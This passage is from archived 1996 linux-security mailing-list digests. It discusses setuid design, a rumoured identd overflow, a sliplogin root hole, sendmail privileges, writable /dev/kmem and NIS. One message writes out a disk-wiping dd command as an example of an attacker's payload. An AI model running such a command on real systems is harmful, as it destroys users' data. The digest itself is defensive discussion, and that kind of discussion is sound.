Many security issues would be helped if there was one extra user which > could su to any other user, but not to uid zero. Let's call this user > "super". > ... > Programs running as super could mess up users files, but not the > "system" > files owned by root, which strikes me as a definite advantage. This idea, like the NFS uid=0 to nobody mapping, works on systems with only one privileged account: everything in root's path is owned by root and writable only by root. This idea offers little advantage on systems where system programs and directories are owned by non-root accounts and/or are group writable. Wietse ------------------------------ From: "Alexander O. Yuriev" Date: Mon, 15 Jul 1996 19:43:25 -0400 Subject: [linux-security] Re: identd hole? [Mod: The message that Alex is following up to appeared on Bugtraq, where a discussion on this subject has just started. Exactly what's going on/being exploited is still uncertain at this point. --Jeff.] Your message dated: Mon, 15 Jul 1996 17:57:36 CDT > Lately I've heard rumours about this 'identd' hole in RFC1413, we've seen > this abused on IRC several times in recent days. Then today I had someone > claim they had the root password on my machine at home. So I telnetted in, > changed it and waited since he claimed he was going to hack it. Apparently > he did because I caught him with a login proccess which I promptly killed, > then being rather peeved I /kill'd him on irc. This apparently pissed him > off even more so he re-hacked my machine and brought it down, at this time > I'm not even sure if it's reviveable as I've not had a chance to check it, > all I know is that its dead in the water currently. Right after that I did a > netstat -n on the machine I was on at work. Voila.. there were about two > dozen connections from his IP (I checked) to my identd port (113). Now I'm > guessing that Solaris 2.5x86 doesn't have the same bug or I caught it in > time since I saw no adverse effects on that machine. The machine effected > (and killed) was a linux 2.0.0 machine, but I have heard of many other > machines of random type being effected in such a manner. The attack is a quite standard 'buffer overrun'. The identd from a remote machine returns a string which overruns buffer usually allocated on stack. Then depending on the intention of the attacker he can either pop up a shell or just do something such as "dd if=/dev/zero of=/dev/sda1" Best wishes, Alex ------------------------------ From: [email protected] (Wietse Venema) Date: Tue, 16 Jul 96 12:04:13 MET DST Subject: Re: [linux-security] security idea > Sendmail is actually a bad example. It needs access to certain > mail-specific files, but that can be done by the normal user/group > mechanism anyway. It does not need the privilege of writing files as > another user: a separate delivery program should be used for this to > minimise the possibility of that privilege leaking out of a program > bug. And it _certainly_ shouldn't be given root privilege if all it > needs to do is to bind to a privileged port. There is more to sendmail than just this: - - access recipient's ~/.forward files and exploder :include: files This is actually a recursive process. - - execute shell commands (either in .forward, aliases or other). No to contradict that sendmail is a bad example. Wietse ------------------------------ From: Jeff Uphoff Date: Tue, 16 Jul 1996 06:10:02 -0400 Subject: [linux-security] Re: identd hole? "BLH" == Brett L Hawn writes: BLH> Lately I've heard rumours about this 'identd' hole in RFC1413, BLH> we've seen this abused on IRC several times in recent days. Then BLH> today I had someone claim they had the root password on my machine BLH> at home. So I telnetted in, changed it and waited since he claimed BLH> he was going to hack it. Apparently he did because I caught him BLH> with a login proccess which I promptly killed, then being rather BLH> peeved I /kill'd him on irc. This apparently pissed him off even BLH> more so he re-hacked my machine and brought it down, at this time BLH> I'm not even sure if it's reviveable as I've not had a chance to BLH> check it, all I know is that its dead in the water currently. Right BLH> after that I did a netstat -n on the machine I was on at BLH> work. Voila.. there were about two dozen connections from his IP (I BLH> checked) to my identd port (113). Now I'm guessing that Solaris BLH> 2.5x86 doesn't have the same bug or I caught it in time since I saw BLH> no adverse effects on that machine. The machine effected (and BLH> killed) was a linux 2.0.0 machine, but I have heard of many other BLH> machines of random type being effected in such a manner. It's not really clear to me that 'identd' was involved in the attack on your Linux system. The second intrusion could very well have been accomplished via a trojan /bin/login, /usr/sbin/in.telnetd, etc., since a previous root-level intrusion had apparently occurred. Replacing /bin/login with a "back door password" version is a logical step #1 after cracking a box; doing this is part of some "root kits." Also, depending upon your configuration, both the first and the subsequent intrusions could have been done sans password using something like the now-well-known shared-library/in.telnetd exploit; the cracker might very well have been claiming to have your root password simply to confuse the issue and point you in the wrong direction. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Jason Marshall Date: Tue, 16 Jul 1996 11:12:02 -0600 (MDT) Subject: Re: [linux-security] sliplogin > It does > setuid(0); > if (s = system(logincmd)) { > : > } > without clearing the environment first. Therefore, anybody can get > root trivially. Ok, my interest has been piqued for a while now, but I've just never asked. Is there a list somewhere of ALL the things that really should be done or looked for when writing code segments that are seteuid(0)? I know SOME of the things to do, but I've yet to see a comprehensive list. I am quite sure there are many C coders out there who either a) don't know what to do, or b) wouldn't mind some confirmation that they are/have been doing the right things. This is particularly in reference to system() calls, and/or the replacing of those calls with safer code. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- | Jason Marshall, [email protected]. Spots InterConnect, Inc. Calgary, AB | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------ From: "Dave G." Date: Tue, 16 Jul 1996 10:15:49 -0400 (EDT) Subject: [linux-security] Re: identd hole? As far as I know, there is no buffer overflow in atoi() under linux. This rumor was started when there was a problem in some IRC clients. At the time I took a look at atoi() and strtol(). Not only were there no buffer overflows, there were no buffers at all :). I haven't seen any evidence that he was actually hacked via ident. Actually his description hasnt even explicitly stated that the intruder got in. [Mod: In a subsequent post to Bugtraq, Brett stated: "After several hours of checking logs and other material I've come to the realization that the hack used to attack one of my machines was indeed the sendmail/identd hack referenced some time ago." Exactly what log entries, etc., led him to this conclusion is unknown to me at this time. - --Jeff.] Brett: You said you caught hime with a login process. Did the ps say 'login blah etc...' or 'bash' or 'sh' or 'tcsh'. Since you havent had a chance to check it, you dont know whether he just managed to launch denial of service attacks on it. ------------------------------ From: Cosimo Leipold Date: Tue, 16 Jul 1996 01:37:14 -0400 (EDT) Subject: Fwd: [linux-security] security idea >Suid root programs might still have to start as root, to listen on a >priviliged port for example, but could then relinquish this uid 0 for uid >super, and do what they need to do. Sendmail is a good example. If what you are suggesting is a simple "be root when you need to be", a lot of programs out there already do this. They may have something along the lines of: setuid(0); do what you need to do; setuid(X). This works fine, but the fact remains, that for a certain period of time there is still a uid 0 situation. >Programs running as super could mess up users files, but not the >"system" files owned by root, which strikes me as a definite advantage. True.... to some extent..but the bottom line remains that if the program is setuid 0 at any point and time, chances are some exploit will be created that works even if the period of time is only a fraction of a second. Even if it was not root at any time, a shell of setuid anything is one shell to many for me. Ideally something like /proc filesystems would be nice. A thought of my own...many systems have users which are known to be somewhat malicious or questionable. Therefore, one may wish to deny access to setuid programs to these users. Of course, this is completely pointless in respect to new users who you have little information about, but it often happens that someone is caught attempting something, nothing really dangerous but none the less something that could be interpreted as a hack attempt. You could change some setuid programs to exclude access for this one person. This could be done by making them group executable and then simply having only that group execute it, but including everyone but one user seems to be a pain. If on the other hand you incorporated something like: if (getuid() == (uid_t)UID_VALUE) { puts("Sorry. Access Denied."; exit(0); } This, like mentioned before, is useless for external attacks but for users on a system which seem to be potentially malicious, it might help. You could not do this on programs that every user needs (i.e. dont do it on passwd), but on some setuid programs that need uid 0, that general users could be granted access to, this is a nice way of eliminating some potential malintended users. Cosimo Leipold Carnegie Mellon University Pre-College Summer Programme email: [email protected] (Yea, I'm only a "kid") ------------------------------ End of linux-security-digest V2 #38 *********************************** linux-security-digest/v02.n039100664 1767 1767 51314 6173762310 15455 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #39 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 19 July 1996 Volume 02 : Number 039 Re: [linux-security] security idea [linux-security] sendmail security issues Re: [linux-security] sliplogin [linux-security] Passing the baton [linux-security] about in.identd Re: [linux-security] about in.identd Re: [linux-security] Re: identd hole? Re: [linux-security] about in.identd Re: [linux-security] about in.identd Re: Fwd: [linux-security] security idea Re: [linux-security] about in.identd [linux-security] writing setuid programs safely [linux-security] Re: writing setuid programs safely [none] [none] ---------------------------------------------------------------------- From: Joseph Dickson Date: Mon, 15 Jul 1996 22:17:44 -0400 Subject: Re: [linux-security] security idea "Peter J. Braam" writes: : Many security issues would be helped if there was one extra user which : could su to any other user, but not to uid zero. Let's call this user : "super". : If we're going to start messing around with a proprietary security design, let's at least do it right the first time. Most of the standard unix security problems have been solved by the ACL/SID based security system, which is already in development for linux, BTW. At least other operating systems already use this, so a departure from the standard unix security design to this wouldn't put us out by ourselves, anyway. Cheers, - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ! Joseph Dickson ! Computer Programmer ! ! [email protected] ! Network Technician ! ! www.sj-coop.net/~merlin ! Systems Consultant ! - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------ From: [email protected] Date: 17 Jul 1996 14:17:36 -0000 Subject: [linux-security] sendmail security issues Stephen C. Tweedie: >> Sendmail is actually a bad example. It needs access to certain >> mail-specific files, but that can be done by the normal user/group >> mechanism anyway. It does not need the privilege of writing files as >> another user: a separate delivery program should be used for this to >> minimise the possibility of that privilege leaking out of a program >> bug. And it _certainly_ shouldn't be given root privilege if all it >> needs to do is to bind to a privileged port. Wietse Venema: >There is more to sendmail than just this: >- access recipient's ~/.forward files and exploder :include: files accessing recipient's ~/.forward files would also be best handled by a separate delivery program that runs under the user's uid. :include: file handling is purely an abstraction and should be run under the proper uid for whatever file it's included from. Wietse Venema continues: >This is actually a recursive process. >- execute shell commands (either in .forward, aliases or other). If this ever crosses uid boundaries, it should be treated as just another mail message and go through all the standard mechanisms for handling mail messages. - -- Raul ------------------------------ From: [email protected] (Wietse Venema) Date: Wed, 17 Jul 96 18:22:52 MET DST Subject: Re: [linux-security] sliplogin Jason Marshall wrote: > > > It does > > setuid(0); > > if (s = system(logincmd)) { > > : > > } > > without clearing the environment first. Therefore, anybody can get > > root trivially. > > Ok, my interest has been piqued for a while now, but I've just never > asked. Is there a list somewhere of ALL the things that really should > be done or looked for when writing code segments that are seteuid(0)? > I know SOME of the things to do, but I've yet to see a comprehensive > list. I am quite sure there are many C coders out there who either a) > don't know what to do, or b) wouldn't mind some confirmation that they > are/have been doing the right things. > > This is particularly in reference to system() calls, and/or the replacing > of those calls with safer code. The list of things being passed in via exec() is system dependent. - - environment - - priority - - file descriptors, including read/write offsets and streams modules - - real/effective/etc uid/gid/luid - - current working directory - - controlling tty (for signaling) - - what signals are being ignored - - any pending alarm signals - - parent process id - - time of day This is just off the top of my head, so no doubt it is incomplete. Wietse ------------------------------ From: Olaf Kirch Date: Wed, 17 Jul 1996 19:51:12 +0200 Subject: [linux-security] Passing the baton - -----BEGIN PGP SIGNED MESSAGE----- Hi all, Due to my current workload, I am not able to continue moderating the linux-security lists (not that I have done much during the past few months anyway). I'm very busy at the moment with my work-for-pay job, Linux NFS development, writing, and most important of all, I want to spend some time with my girl-friend. I feel sorry for having to leave, especially since working with Jeff, Alex and almost all you other people has always been easy and pleasant, which is quite extraordinary for a mailing list with several thousand subscribers (I'm told). Of course I will remain subscribed to the lists and put in my 2 cents' worth every now and then. In the future, Jeff and Rogier Wolff will moderate the lists. I'm sure Rogier will do a good job, and hope he will enjoy it as much as I did. Good luck to Rogier, and cheers to you all Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMe0n8uFnVHXv40etAQHoqwP/TkkuNTZOh3+KawQkD0Y3R8ON1OG/EQ/C tWT2nA9pURA/hssYqe+SioZJMjqBKwkVwimTn3EmcsN9Kt8qCYktHJUFXhYA7lMy X9MxedN4KBIhzF+BYr3P3s5sWT0tNXvGq8/62OzHJx2qhgmSB0wWQYcBp9KWXQbR vElaPDjQ04Y= =ezgV - -----END PGP SIGNATURE----- ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 17 Jul 1996 14:17:02 -0400 Subject: [linux-security] about in.identd Hello, This is an explanation of one of the ways such attack can be performed. First of all, this is *not* an attack against the in.identd! This is an attack against the *protocol* used by identd. As Matt Bishop said once the easiest way to discover security problem is to look at the manual pages of your Unix box paying attantion to words "should" "never" "must not" "will not". The ident protocol simply returns an owner of a connection originated on a remote machine. Another name for this protocol is auth. auth 113/tcp ident # User Verification A remote system can ask ident to return a string identifing a user owner of a connection. For example, lets say that an attacker connects to a service running with a super-user priviledge (it just binds a port below 1024). This service sends a request to ID a user to ident running on a remote machine. If that ident is used to penetrate a system, there is nothing to prevent an it from returning not 'mickeymouse' but 'micketmouse......' where .... is an image of the machine code to be executed. If a program requring the ID was designed to trust the response of a remote ident server ("Gee, it is the *ident* server, why not to trust it?!?!?!" ) then it probably did not expect anything like a bomb-code being returned. Best wishes, Alex ------------------------------ From: Jordy Date: Thu, 18 Jul 1996 02:20:56 -0500 (CDT) Subject: Re: [linux-security] about in.identd > > auth 113/tcp ident # User Verification i have a very simple question. why does identd even need to be running as root? you don't need root permissions to lookup who owns a port, and there are a few other programs that inetd spawns that bind to ports under 1024 that don't run as root [systat comes to mind]. so why run it as root? are we just asking for trouble? ------------------------------ From: lilo Date: Thu, 18 Jul 1996 06:51:49 -0500 (CDT) Subject: Re: [linux-security] Re: identd hole? On Tue, 16 Jul 1996, Dave G. wrote: > As far as I know, there is no buffer overflow in atoi() under linux. > This rumor was started when there was a problem in some IRC clients. At > the time I took a look at atoi() and strtol(). Not only were there no > buffer overflows, there were no buffers at all :). Well, the problem has not been sufficiently debugged. The fact that it only occurred in pre-5.3.9 ELF libc, and that it was universally resolved by upgrading the libc to 5.3.12 (really we did spend a fair amount of time verifying that behavior) seemed indicative of a library problem, and the atoi() diagnosis was volunteered by someone with more time on their hands, and possibly less skill.... :) lilo ------------------------------ From: Elliot Lee Date: Thu, 18 Jul 1996 14:34:34 -0400 (EDT) Subject: Re: [linux-security] about in.identd On Thu, 18 Jul 1996, Jordy wrote: > > > > auth 113/tcp ident # User Verification > > i have a very simple question. why does identd even need to be running as > root? you don't need root permissions to lookup who owns a port, and there > are a few other programs that inetd spawns that bind to ports under 1024 > that don't run as root [systat comes to mind]. > > so why run it as root? are we just asking for trouble? Most ident implementations need sys/kmem group permissions to find out who owns a port. For example, on Solaris /bin/netstat is setGID On Linux that is not the case however (netstat is not set*ID) - an identd specifically for Linux should probably be written. \\\| Elliot Lee |\\\ || "Claim to fame": \\\| Red Hat Software |\\\ || What else? \\\| |\\\ || http://www.redhat.com/ \\\| Webmaster, Programmer, etc |\\\ || ------------------------------ From: Alan Cox Date: Thu, 18 Jul 1996 21:04:02 +0100 (BST) Subject: Re: [linux-security] about in.identd > root? you don't need root permissions to lookup who owns a port, and there > are a few other programs that inetd spawns that bind to ports under 1024 > that don't run as root [systat comes to mind]. > > so why run it as root? are we just asking for trouble? I guess for history reasons (most identds dive into the kmem) - we have /proc so it seems we should run it as nobody ------------------------------ From: Speed Racer Date: Wed, 17 Jul 1996 18:21:54 -0400 (EDT) Subject: Re: Fwd: [linux-security] security idea On Tue, 16 Jul 1996, Cosimo Leipold wrote: > True.... to some extent..but the bottom line remains that if the > program is setuid 0 at any point and time, chances are some exploit will > be created that works even if the period of time is only a fraction of a > second. Even if it was not root at any time, a shell of setuid anything > is one shell to many for me. Ideally something like /proc filesystems > would be nice. "Chances are", if the program is coded right, there WON'T be any exploits. I could do this: /* disable input, catch all possible signals, etc. */ setuid(0); sleep(60); setuid(X); /* re-enable the above */ Just because the program is running as root does NOT mean there is automatically some exploit in there somewhere. > A thought of my own...many systems have users which are known to be > somewhat malicious or questionable. Therefore, one may wish to deny > access to setuid programs to these users. Of course, this is completely > pointless in respect to new users who you have little information about, It's pointless anyway. If I had any "malicious" users, I'd boot them soonest. > This, like mentioned before, is useless for external attacks but for > users on a system which seem to be potentially malicious, it might help. > You could not do this on programs that every user needs (i.e. dont do it > on passwd), but on some setuid programs that need uid 0, that general > users could be granted access to, this is a nice way of eliminating some > potential malintended users. First, if the user is "malicious", why even bother letting him change his password? Make him call you & have you change it by hand or something, or just outright deny him. Or, better yet, get rid of the user. Second, this whole idea implies that you're running some setuid program that DOES have some kind of security hole in it, and you just don't want the bad guys to find it. From experience, I can tell you this - they'll find it anyway, and by denying them access to the program you're lulling yourself into a false sense of security. It also doesn't protect against the boneheads who manage to stumble upon these holes accidentally, and not only break things but break them with great idiocy. The worst catastrophes I've seen have resulted not from hackers, but from people who didn't know what they were doing at all. shag Judd Bourgeois [email protected] Finger for PGP public key There's a lost man with a bitter soul For only a moment did life make him whole And while he was, he thought he was invincible... Matthew Sweet, "Smog Moon" ------------------------------ From: Brian Mitchell Date: Thu, 18 Jul 1996 09:42:04 -0400 (EDT) Subject: Re: [linux-security] about in.identd On Wed, 17 Jul 1996, Alexander O. Yuriev wrote: [Mod: Quoting trimmed. --Jeff.] > A remote system can ask ident to return a string identifing a user owner of > a connection. For example, lets say that an attacker connects to a service > running with a super-user priviledge (it just binds a port below 1024). This > service sends a request to ID a user to ident running on a remote machine. > If that ident is used to penetrate a system, there is nothing to prevent > an it from returning not 'mickeymouse' but 'micketmouse......' where .... is > an image of the machine code to be executed. If a program requring the ID > was designed to trust the response of a remote ident server ("Gee, it is the > *ident* server, why not to trust it?!?!?!" ) then it probably did not expect > anything like a bomb-code being returned. The rfc specifies the maximum length for ident responses is 512 bytes, so I don't see how machine code would do anything of any use, barring overflows which should not happen, since it should read no more than 512 bytes, and the buffer it should read into should be atleast 512 bytes. Of course, things that should happen often do not happen. Do you have any examples of programs that don't handle in.identd queries well? Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ From: Lars Wirzenius Date: Thu, 18 Jul 1996 10:21:20 +0300 Subject: [linux-security] writing setuid programs safely - --==_Exmh_-1305269074P Content-Type: text/plain; charset=us-ascii [ NB: I read the list. Don't CC replies to me. I pay for my PPP. Thanks ] Jason Marshall: > Is there a list somewhere of ALL the things that really should > be done or looked for when writing code segments that are seteuid(0)? I saw a setuid(7) manual page in some newsgroup years ago. Didn't save it and can't remember whodunit, but someone with a better network connection might want to look for it with the WWW search engines. Hm, the name Henry Spencer seems to be floating in my frontal lobe at the moment, but I don't know if he had anything to do with it. - --==_Exmh_-1305269074P Content-Type: application/pgp-signature - -----BEGIN PGP MESSAGE----- Version: 2.6.2i iQCVAwUBMe3l7YQRll5MupLRAQEslgQA0wcZRtu5NbWquzTKJemaEH3laEMB1jZ+ 9Dp8v0aP+S5g+IH/OtL3qjlW2mrJNYsm2YsegOPSrrTI7DJc7oYBmiJYyGwk2kS7 xe4sP+CoekD0GS3u1NuRtg03Kh5OnvJkt31XxrjZJ71otOXsiW/F1esIx37Lyzsx vsHQW3ZX7eg= =KIBc - -----END PGP MESSAGE----- - --==_Exmh_-1305269074P-- ------------------------------ From: Joshua Cowan Date: Thu, 18 Jul 1996 22:22:05 -0500 Subject: [linux-security] Re: writing setuid programs safely >>>>> "LW" == Lars Wirzenius writes: LW> I saw a setuid(7) manual page in some newsgroup years ago. I think what you are talking about is available at `ftp://ftp.cs.toronto.edu/doc/programming/setuid.man'. [REW: I verified its existance. It recommends using "access" to verify if the normal user has access to a file. I recommend not trying to do that: you almost always create a way to circumvent it using symlinks in a short timespan. I recommend actually setting the uid to that of the user. If necessary split the "priviliged" part from the "unpriviliged" and fork off a separate process for each.] - -- Joshua Cowan _____________________ http://hermit.reslife.okstate.edu/~jcowan/ | Comp Sci Student "Very funny, Scotty. Now beam down my clothes." | OSU - Stillwater, OK PGP key available from any PGP keyserver or by fingering above address. ------------------------------ From: [email protected] Date: Fri, 19 Jul 1996 15:40:39 -0400 Subject: [none] Forwarded message: Date: Fri, 19 Jul 1996 10:24:10 -0400 Message-Id: <[email protected]> To: [email protected] From: [email protected] Subject: [linux-security] BOUNCE [email protected]: Approval required Sender: [email protected] Precedence: list >From [email protected] Fri Jul 19 10:24:09 1996 Received: from us1 ([128.160.11.6]) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) with ESMTP id KAA15650; Fri, 19 Jul 1996 10:23:55 -0400 Received: (from pollard@localhost) by us1 (950511.SGI.8.6.12.PATCH526/8.6.10) id JAA04435 for [email protected]; Fri, 19 Jul 1996 09:24:32 -0500 Date: Fri, 19 Jul 1996 09:24:32 -0500 From: [email protected] (Rogier Wolff) Message-Id: <199607191424.JAA04435@us1> To: [email protected] Subject: Re: [linux-security] sendmail security issues In-Reply-To: Mail from '[email protected]' dated: 17 Jul 1996 14:17:36 -0000 >accessing recipient's ~/.forward files would also be best handled by >a separate delivery program that runs under the user's uid. :include: >file handling is purely an abstraction and should be run under the >proper uid for whatever file it's included from. Jesse Pollard responded to say that this is a performance problem. Sendmail tries to optimize things like remove duplicates. Roger. - -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} ------------------------------ From: [email protected] Date: Fri, 19 Jul 1996 15:40:47 -0400 Subject: [none] Forwarded message: Date: Fri, 19 Jul 1996 10:56:13 -0400 Message-Id: <[email protected]> To: [email protected] From: [email protected] Subject: [linux-security] BOUNCE [email protected]: Approval required Sender: [email protected] Precedence: list >From [email protected] Fri Jul 19 10:56:12 1996 Received: from escape.com (daveg@[198.6.71.10]) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) with ESMTP id KAA15728; Fri, 19 Jul 1996 10:56:12 -0400 Received: (from daveg@localhost) by escape.com (8.7.3/8.6.9) id KAA16669; Fri, 19 Jul 1996 10:50:13 -0400 (EDT) From: "Dave G." Message-Id: <[email protected]> Subject: Re: [linux-security] about in.identd To: [email protected], [email protected], Date: Fri, 19 Jul 1996 10:50:13 -0400 (EDT) Cc: [email protected] X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Most ident implementations need sys/kmem group permissions to find out who owns a port. For example, on Solaris /bin/netstat is setGID On Linux that is not the case however (netstat is not set*ID) - an identd specifically for Linux should probably be written. - ---------- I am not sure which copies of identd use/proc, but the one that I had looked at used /proc. There should be no need to rewrite anything. (except inetd.conf :-)) Dave G. - -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} ------------------------------ End of linux-security-digest V2 #39 *********************************** linux-security-digest/v02.n040100664 1767 1767 52211 6175365123 15445 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #40 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 24 July 1996 Volume 02 : Number 040 Re: [linux-security] about in.identd Re: [linux-security] about in.identd [linux-security] about in.identd Re: [linux-security] about in.identd [linux-security] kmem Re: [linux-security] sendmail security issues [linux-security] Alternative to NIS Re: [linux-security] sendmail security i Re: [linux-security] Alternative to NIS Re: Fwd: [linux-security] security idea Re: [linux-security] Alternative to NIS Re: [linux-security] sendmail security issues Re: [linux-security] sendmail security Re: [linux-security] Alternative to NIS [linux-security] Security hole in Abuse game (in RedHat 2.1) ---------------------------------------------------------------------- From: "Dave G." Date: Fri, 19 Jul 1996 10:50:13 -0400 (EDT) Subject: Re: [linux-security] about in.identd Most ident implementations need sys/kmem group permissions to find out who owns a port. For example, on Solaris /bin/netstat is setGID On Linux that is not the case however (netstat is not set*ID) - an identd specifically for Linux should probably be written. - ---------- I am not sure which copies of identd use/proc, but the one that I had looked at used /proc. There should be no need to rewrite anything. (except inetd.conf :-)) Dave G. ------------------------------ From: Ian Jackson Date: Fri, 19 Jul 96 22:50 BST Subject: Re: [linux-security] about in.identd Alan Cox writes ("Re: [linux-security] about in.identd"): > > root? you don't need root permissions to lookup who owns a port, and there > > are a few other programs that inetd spawns that bind to ports under 1024 > > that don't run as root [systat comes to mind]. > > > > so why run it as root? are we just asking for trouble? > > I guess for history reasons (most identds dive into the kmem) - we have > /proc so it seems we should run it as nobody impren:~> grep ident /etc/inetd.conf | expand -1 ident stream tcp nowait nobody /usr/sbin/identd identd -i impren:~> This is how Debian sets it up by default. Ian. [REW: So we should all go out and edit our inetd.conf files. While you're are at it, I suggest that you also disable services as "systat" and "netstat". Make sure that the UID you run your services as really exists. Otherwise the "change uid to xxx" may fail and it might run as root anyway. We're also agreed (I hope) on the fact that "indentd" running as root has nothing to do with the original breakin report.] ------------------------------ From: "Alexander O. Yuriev" Date: Thu, 18 Jul 1996 21:44:12 -0400 Subject: [linux-security] about in.identd > The rfc specifies the maximum length for ident responses is 512 bytes, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > so I don't see how machine code would do anything of any use, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > barring overflows which should not happen, since it should read no more than 512 ^^^^^^^^^^^^^^^^^^ ^^^^^^ ^^^^^^^^ > bytes, and the buffer it should read into should be atleast 512 bytes. ^^^^^^^^^^^^ ^^^^^^^^^ I rest my case. Look at the number of assumption that was made? What happens if somehow designer follows the 1st one and makes sure that 512 bytes do fit and then instead of reading 512 bytes reads until the channel is closed? If I recall correctly, the attack was described in CS-96:02. If I recall correctly pre 8.6.10 sendmail had this problem Best wishes, Alex ------------------------------ From: [email protected] (Matt) Date: 18 Jul 1996 23:54:23 -0400 Subject: Re: [linux-security] about in.identd Brian Mitchell ([email protected]) wrote: : The rfc specifies the maximum length for ident responses is 512 bytes, so The RFC may state one thing. There are MANY, MANY, non rfc compliant programs out there....(Both ident servers and things that people create to respond to ident requests) Always remember that. You may want to check that your ident server is only returning 512 characters, but the biggest problem is that many programs that are written to parse the data from an ident response are expecting no more than 8 characters... :) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Prezident Date: Sat, 20 Jul 1996 21:50:33 -0400 Subject: [linux-security] kmem Hi everybody, I just discovered that /dev/kmem is g+w by default on Slackware 3.0.0. This way all of the g can write to memory and setuid to 0. Comments, flames, suggestions? [REW: This is not the case on my slackware 3 system, but I just verified, it is like this on an install CD that I have. On most systems the group "kmem" only has read access to /dev/kmem. Note that read access to "kmem" is already enough to gain root access. No user should be in group kmem, and a few programs (like kmem-ps) should be setgid-kmem because they need to read info from the kernel.] ------------------------------ From: Jesse Pollard Date: Fri, 19 Jul 1996 09:24:32 -0500 Subject: Re: [linux-security] sendmail security issues rmt: >[Mod: Quoting trimmed. --Jeff.] >Wietse Venema: >>There is more to sendmail than just this: >>- access recipient's ~/.forward files and exploder :include: files > >accessing recipient's ~/.forward files would also be best handled by >a separate delivery program that runs under the user's uid. :include: >file handling is purely an abstraction and should be run under the >proper uid for whatever file it's included from. > >Wietse Venema continues: >>This is actually a recursive process. >>- execute shell commands (either in .forward, aliases or other). > >If this ever crosses uid boundaries, it should be treated as just another >mail message and go through all the standard mechanisms for handling mail >messages. Unfortunately this will waste a LOT of time: sendmail -> 0.delivery (gets 4 forwarding addresses) -> 1.sendmail to new address -> 2.sendmail to second addr -> 3.sendmail to third -> 4.sendmail to fourth. Then each sendmail must lookup a new .forward: 1.sendmail ->1.delivery (gets 2 forwarding addresses) -> 1.1.sendmail to address -> 1.2.sendmail And each of these sendmail processes must do a delivery. Guess what happens if one of these forwarded addresses includes an address of the first delivery (0.delivery). Infinite recursion. Sendmail avoids this by loading the forwarding addresses, then eliminating duplicates. At least this is when only one system is involved, two or more then the infinite recursion does happen. It is limited by the hop count so that total chaos is controlled. It can STILL happen when the delivery agent is a mail filter (such as vacation) that sends out a "I'm not here - try later" message to a user that just set vacation... (at least one message will be passed between them forever.. Each vacation message is a new message as far as can be determined by sendmail). The approach outlined is also a major performance hog. Sendmail is an intelligent (well... relatively) delivery and does analysis to reduce system overhead and avoid delivering the same message multiple times. Jesse Pollard [email protected] ------------------------------ From: "Eric M. Boyd" Date: Mon, 22 Jul 1996 17:09:29 -0400 (EDT) Subject: [linux-security] Alternative to NIS Everywhere I look security wise, people say to stay away from NIS because it's very insecure, and that NIS+ isn't much better. Does anyone have any suggestions as to a replacement to use? I want to make sure my site is secure, but it's really a hassle to individually add a user to each machine, or ask a user to change their password on each machine they use. Any suggestions? [REW: NIS uses the "domainname" as a kind of password. Anybody from the whole internet who knows this can access your password file. Take care not to choose something like "my.dns.domain.name". What complicates the issue is that it is broadcast over your ethernet segment during normal operation.] Eric Boyd - --------------------------------+---------------------------------------------- Eric Boyd (TSMA) | "It's easier to ask for InterDimensions Corp. | forgiveness than for permission." 25 Ellery St. | Cambridge Ma, 02138 | "640K ought to be enough for anybody." 617-661-4200 | -- Bill Gates, 1981 | [email protected] | ------------------------------ From: "Miller, Raul D." Date: Mon, 22 Jul 96 11:48:00 PDT Subject: Re: [linux-security] sendmail security i Raul Miller wrote; >>If this ever crosses uid boundaries, it should be treated as just another >>mail message and go through all the standard mechanisms for handling mail >>messages. Jesse Pollard wrote: >Unfortunately this will waste a LOT of time: > sendmail -> 0.delivery (gets 4 forwarding addresses) .... > And each of these sendmail processes must do a delivery. Guess what happens >if one of these forwarded addresses includes an address of the first delivery >(0.delivery). Infinite recursion. An alternative would be to put sufficient information in the headers to detect the loop. An example of a mailer which performs at least as well as sendmail, and doesn't have sendmail's security problems exists at ftp://koobera.math.uic.edu/pub/software/ The most recent version is qmail-0.76.tar.gz It's still in beta, but several CERT announcements have gone out on sendmail (and analogous mailers, such as smail) and in each case qmail has not exhibitted the problem. (qmail is coded very defensively). The reason it's still in beta has to do with large scale deployment issues -- administration, list management, backwards compatability with (a minimal set of) sendmail features. Anyways, the 